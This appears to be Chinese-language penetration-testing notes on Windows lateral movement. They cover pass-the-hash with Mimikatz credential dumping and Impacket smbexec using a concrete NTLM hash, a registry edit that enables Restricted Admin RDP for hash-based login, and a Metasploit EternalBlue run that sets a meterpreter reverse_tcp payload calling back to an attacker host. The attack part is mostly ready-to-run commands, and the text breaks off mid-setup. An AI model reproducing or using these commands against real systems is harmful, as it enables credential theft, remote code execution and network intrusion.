1.哈希传递
PTH攻击的工具:
1.Mimikatz
2.Impacket
3.CrackMapExec
4.Powershell
5.Evil-Winrm
6.Metesploite
1.1 哈希传递攻击的利用
pth原理:
攻击者直接通过LM Hash 和 NTLM Hash访问远程主机或服务,而不用提供明文密码。
如果禁用了ntlm认证,psexec无法利用获得的ntml,hash经行远程连接,但是minikatz还是可以攻击成功。对于8.1/2012r2 ,安装了kb2871997的win7/2008r2/8/2012等,可以使用AES keys代替NT hash来实现ptk攻击。
KB2871997补丁影响:
pth:没打补丁所有用户都可以连接,打了补丁只有administrator可连接。
ptk:打了补丁可使用,所有用户都可连接,通过aes256连接。
具体:https://www.freebuf.com/column/220740.html
1.利用mimikatz进行PTH
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit #抓取用户哈希
#横向返回一个与域中所有符合要求的目标进行连接后的cmd
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:god.org /ntlm:b93c17875ad053ce97c3063a6a02c15e"
2.利用Impacket 进行PTH
可使用pyinstaller打包成exe文件(此外还可以使用psexec.py, wmiexec.py进行PTH横向)
python smbexec.py -hashes ::b93c17875ad053ce97c3063a6a02c15e god.org/administrator@192.168.52.141
1.2 利用PTH登录远程桌面
条件:
远程主机开启受限管理员模式
用于远程桌面的用户位于远程主机的管理员组中(受限管理员模式只对管理员组用户有效,如果获取哈希的用户属于远程桌面用户组就无法进行哈希传递攻击)
拿到远程主机上能够登录的用户的哈希
WinServer2012 R2开始采用新版RDP, 支持受限管理员模式, 在该模式下才可以使用哈希进行哈希传递登录而不需要输入密码(在Win8.1和WinServer2012 R2上默认开启)
没有开启受限管理员的主机可以通过下面命令开启:
reg add HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
步骤:
1.查看主机受限模式开启状态:
reg query HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin #输出为0则已启动,为1则未启动
2.远程主机开启受限管理员模式的话就可以通过Mimikatz进行攻击:
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:h0cksr.bxs /ntlm: \"/run:mstsc.exe /restrictedadmin\""
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:god.org /ntlm:b93c17875ad053ce97c3063a6a02c15e \"/run:mstsc.exe /restrictedadmin\""
2 EhernalBlue(永恒之蓝)
永恒之蓝的原理不再多说了, 主要就是Windows SMB v1服务器错误处理来自远程的特制数据包从而产生漏洞, 测试的时候如果发现有445端口开启可以流程化走一下看看有没有漏洞
此外类似原理的还有SM08-067, CVE-2019-0807等均可用于横向
msfconsole
use auxiliary/scanner/smb/smb_ms17_010 #这个只是检测模块,用于检查是否存在漏洞
set rhosts 192.168.30.1/24
set threads 10
run
use exploit/windows/smb/ms17_010_eternalblue
set payload payload/windows/x64/meterpreter/reverse_tcp
set rhosts 192.168.92.198
set lhost 192.168.92.128
set lport 444